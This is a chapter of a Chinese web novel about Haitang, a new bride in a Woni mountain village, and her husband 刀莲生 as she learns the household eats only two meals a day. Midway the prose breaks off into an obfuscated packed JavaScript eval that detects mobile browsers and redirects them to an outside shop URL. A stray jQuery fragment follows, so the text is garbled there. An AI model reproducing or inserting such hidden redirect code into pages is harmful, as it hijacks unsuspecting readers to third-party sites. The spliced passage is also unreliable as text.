刀家早上第一个起的是刀莲生。
铺盖裹成卷儿堆在凉床上,拨开灰堆,把火塘里的火生起来,然后就扯了洗脸帕搭在肩头,再提了铜壶要去灶屋打水煮茶,发现铜壶盖不见了,周围找了一圈儿没找到,以为昨晚落在灶屋了,就提着没盖的铜壶拉开堂屋大门要出去,耳听见钝沉的几声当当当响。
他疑惑的蹙了下浓眉。
大门已拉开,外头晦涩的天光照见屋内,他看见门背后一条麻绳一直牵延到了旁边那个卧房的布帘子里面。
刀莲生摸着那细麻绳,好奇地一路研究它的走向,这时候布帘子撩开,海棠打着哈欠,顶着一头鸡窝钻出来,差点与他撞个满怀。
“你干嘛?”海棠谨慎地乜斜着他。
刀莲生不语,手牵着麻绳继续往前探究。
他撩开布帘子看里面,那绳子一直接到了木架子床顶。绳子尾端吊着一块手掌大小的木材。那个找不到的铜壶盖正绑在床柱子上。堂屋门打开,拴在门背后门闩上的麻绳缩短,吊在空中的木材便落了下来,位置不偏不倚,正晃荡着敲打在铜壶盖上,放出沉闷的当当声……
为了能吃上一顿晚饭,海棠真是绞尽脑汁,第一个要解决的就是早上睡懒觉起不来床的问题,好叫婆婆没话说。
这木材敲壶盖的方法就是她昨晚半夜想起来的。又偷偷摸摸爬起来把机关做好。
见刀莲生手里提着铜壶,她回去屋里把铜壶盖解下来递给他。
刀莲生神色古怪地看了她一眼,没说什么,接过盖子去了灶屋打水。
雨过天晴,太阳早早地爬上了山坡。
寨子下面绵延往下的水田,一大半都沐浴在晕红地晨光里。
几只小鸟在泥巴剥落的高墙上叽叽喳喳叫着,灶屋茅草棚顶上长着的小草上,歇着一只色彩斑斓的花蝴蝶。
吃过早饭,白氏母女三人下地后,刀莲生扛了把锄头,把包头布戴上,也要出门。
走的时候他给海棠交代了一声,“我去挖田。”顿了下,又说:“晌午时候再回来。”
海棠拖了洗脚盆出来打算洗衣服,闻言,站起身来,想着是不是把盆收起来,跟丈夫下地去。
毕竟这一家子老的小的都下地去了,她这样一个大人,一个成年人也该去下地去干活儿。衣服就是晚上来洗也没关系。
这么想着,海棠就把木盆又嘿哧嘿哧地往灶屋端。
刀莲生明白了她的意图,说:“你就留在家里看屋。”
海棠哦了声,便就没再跟着刀莲生。
海棠在家仍是用水缸里的水把自己昨晚在田里滚脏的衣裙洗干净,晾在灶屋外墙的竹竿上。然后又清洗了尿罐坛子。屋内转来转去,没伙计干了,于是就坐在堂屋门槛上发呆。
太阳在头顶偏斜的时候刀莲生就扛着锄头回来了,后面跟着要回来做午饭的莲叶。兄妹俩嘀嘀咕咕在说着什么,主要是刀莲生说,莲叶乖巧地频频点头。
放下锄头,刀莲生也没歇口气,马不停蹄的挑着空桶又要出去挑水。
海棠看他一头一脸的汗水,脸膛被太阳晒了一上午后,出了些油,黝黑黝黑的,汗珠子反射着太阳的细碎光芒。她有些后悔在家洗衣服了,便跟刀莲生说想要跟去看看洗衣服的地方。
刀莲生看她站起身来时捶了几下后腰,说:“有些远,还要爬坡,下次再带你去认路。或者下午叫莲叶带你去找。”
海棠便就作罢。
弯着腰徒手搓洗了一个多小时的衣服,她也的确累得够呛。
午饭仍是莲叶做。
小姑娘动作快,海棠进灶屋想去帮忙,锅盖上已经冒热气了。
海棠先揭起锅盖来往锅里瞅了眼,看午饭吃什么。
锅盖揭开,是米粥,她立刻就闻到米香味了。
米粥已咕嘟咕嘟煮开,但是一大锅清汤寡水的,海棠怀疑莲叶就只放了一把米,于是她拿起一旁的勺子伸进去搅看。
粥熬得不浓稠,清亮得能数得清米粒。
海棠怏怏地重新盖上锅盖。
灶台边上照例是雷打不动一大把去了蒂的长辣椒。待会儿灶膛不烧火了,莲叶就会把辣椒埋进滚烫的灰堆里烤制。
粥虽清淡,但是浓烈的米香味让海棠感到饥肠辘辘。
“莲叶,中午只喝米粥吗?”
“待会儿我还要贴几个玉米饼。”
“哦。”
那种玉米杂粮饼,几乎天天吃,不好吃,但是聊胜于无,能涨肚子。
“嫂子,粥快煮好了。贴饼子很快的。早上我走的时候就把玉米面发好了,待会儿直接锅里炕。”莲叶看出来海棠饿了,安抚她说。还腼腆地冲她笑了下,露出脸上两个小酒窝。
莲叶在刀家不咋受重视,平时在家人面前话也不多,跟他哥哥一样是个任劳任怨的性子,上头被娘严厉管着,姐姐莲荷经常欺负她,冷不丁来个对她和颜悦色说话的嫂子,心中欢喜。
莲叶虽然人小,但是很懂事。哥哥娶妻不易,所以,她想看到哥嫂和和美美的。
昨天海棠巴结白氏,白氏反而骂了她一顿,还硬叫她下雨天天都黑了还出门去找哥哥。莲叶看在眼里,很同情这个嫂嫂。她觉得嫂嫂没明白娘的心思,娘只要她多紧着哥哥,哥嫂两个早点生下孩子。
她看海棠放下锅盖,要去打理野香葱。抿了抿嘴,婉转而大胆地提议道:“嫂子,不费多少事,不用你帮忙。你去看看哥哥那里有什么需要你帮忙的没。”
午饭吃得平静,粗茶淡饭,只图个果腹。
饭后,刀家一家子又上坡下田去了。
刀莲生还是要海棠在家看屋,海棠无事可做,最后从牲畜棚里抱了一堆原木出来,找出斧头慢慢地劈柴,如此过了一下午。
五点钟太阳落坡的时候,刀莲生就扛着锄头早早回来了,放下农具,又担着桶去后山寨神林挑水,这次说是要给招满叔家挑。
白桂景和两个女儿不久后也回来了,海棠听婆婆跟莲荷莲叶喟叹说终于把几块地翻完了一遍土,接下来要开始收麻了。
海棠还是去堂屋给婆婆和两个小姑子倒茶送水解渴,然后海棠发现莲叶没有去灶屋做饭的意思。
母女三人把脚洗了个头道,坐着休息了一阵。白氏吩咐刀莲荷把搓好的麻线给堂伯娘家送过去。莲叶则坐在地坝边砍红苕藤喂牛。
白氏脱了上衣,借着天光,找出针线篮子补身上一处被勾烂了的地方。
她眼神儿不太好,补起来慢。为此,她好几次拉着脸瞟海棠一眼。
海棠如坐针毡。她明白婆婆的意思,可她的针线活儿不行,哪里敢开口说让她来帮忙补?
海棠假装收拾木柴,完了后又要去帮莲叶砍红苕藤,可莲叶不让她帮忙,海棠一时就有些无所适从。
其实,她真实目的是想接收了莲叶手里的活儿,好让她腾出手去做晚饭。
海棠自己倒是想去做,但是她昨晚上就摸过坛子了,里面的豆饼已经吃完了。灶屋也没有发现其余的存粮。
做午饭的时候,海棠注意到莲叶端着小半碗米从堂屋出来,所以刀家的粮食不在灶屋,是放在堂屋或是二楼的。她这个婆家的粮食藏得还真是深……
看婆婆拉着脸又瞟了她一眼,海棠干脆躲到灶屋去坐到起打发时间。
这时候刀莲生挑水回来了,放下扁担,自顾自提起水桶往水缸里倒。他没看见坐在灶膛这边阴影里的她。
海棠见他水桶倒完后就没提桶出去,想是不再挑水了,海棠就轻轻喊了他一声。
刀莲生没应,转身出了灶屋。
可能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223367|149096||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他没听见,海棠起身追出灶屋。
刀莲生撩着两条大长腿跨进堂屋。
他取了头上的包头布,一边擦拭着头脸上的汗水,一边走到八仙桌上提起那把铜壶,也没用茶碗,仰头直接就着壶口,咕咚咕咚灌下大半壶冷了的酽茶。
茶水顺着汗水,淌过一起一落的喉结。那块包头布已经全打湿了,他扔了它,左手撩起衣摆又往头脸脖子上胡乱抹了一通,如此就露出了他结实的小腹,和裤头上一小撮腹毛。还有他光着的两条膀子,虬扎的肌肉随着他的动作,一鼓一鼓的。
仿佛他浑身上下的每一个细胞,都在叫嚣着他身为雄性生物的力量。
只是海棠看着他,像在看着一盘色香味俱全的美食大餐。
暂时解了渴,刀莲生放下铜壶,这才注意到一双沾了泥土和草木灰的脏污的绣花鞋出现在视线下方。
鞋里的脚没穿袜子,鞋小巧而精美,这说明里面那双脚也是小巧玲珑的,如此,才能装得进去这么一双他手掌大小的布鞋里。
足是天足。
听说汉家女子不裹足的话,代表她娘家人不重视她,不喜欢她。
他们窝尼家的女人不裹脚,崇尚自然。但是没想到她也没裹脚。或许山外汉人的世界又改变规则了。
汉人的江山,总是争来抢去。但他们这些异族人,从来都是被汉人奴役被统治的。
躲在山里也好。山中不知岁月长,管它外面的世界闹得怎么天翻地覆,他只想安安稳稳把自家一家子的小日子过好。
来了寨子里也好些天了,她还没习惯这里赤脚走路的习俗。他家里,屋内屋外都是泥地,一下雨到处泥泞不堪。她两双绣花鞋换来换去的穿,天天洗,也禁不住会被泥土和草木灰糊得没眼看。但她似乎没想过入乡随俗学他们打赤脚走路。
但他倒不希望她打光脚。
这么一双好看的天足,要是长期赤脚行走,会变得又粗又黑的,那就不好看了。
刀莲生默默收回视线,放下衣摆,重新提起铜壶,又翻了一只茶碗出来,给自己倒了满满一碗茶,端起来喝了两口,这才看向海棠。
海棠做贼似的先回头看了看堂屋大门,方欺近他身旁,悄声问他:“娘是不是给你们打了招呼,不给我吃晚饭啊?”
刀莲生才喝了口茶水进嘴,闻言,差点呛到。
“没有的事。”他抹了把嘴角溢出来的茶水。
“那怎么晚上都不喊我去灶屋吃饭呢?”海棠委屈地说。
刀莲生诧异地看她一眼,“我们这里现在就是一天只吃两顿饭的,早饭和午饭。”
海棠啊了声,显然是很吃惊,呆呆的张着嘴。
刀莲生又瞟海棠一眼,见她白生生的脸颊略微有些凹陷,颧骨都显出来了。人也没什么精神,双目无光,显然是饿的。
他敛下歉意的眼,添一句,“你早点习惯了就好了。”
海棠没吱声儿,过了好久她才有点接受了,但是不太死心,追问道:“现在是什么意思啊?”
“现在是农闲,要等到农忙的时候才吃三顿。”
海棠眼里又有光了,“农闲吗?可我看你不到天黑就没闲过一刻。那农忙是什么时候?”
“需要下大力气的时候。”
“到底什么时候?”
“打谷子割麦子的时候。”
“为什么只吃两顿,吃三顿不好吗?你们晚上都不觉得饿吗?不觉得饿得睡不着觉吗?!”为了顿吃的,这一键三连的反问她几乎是低吼出来。
刀莲生抿直了唇,黝黑的脸膛因背着光辨不出表情。他沉默了片刻,垂着眼道:“现在是青黄不接的时候,不省着点粮食吃,等不到九月收稻子家里就会断炊的,到时候只能出去山外头讨口。”
海棠:“……”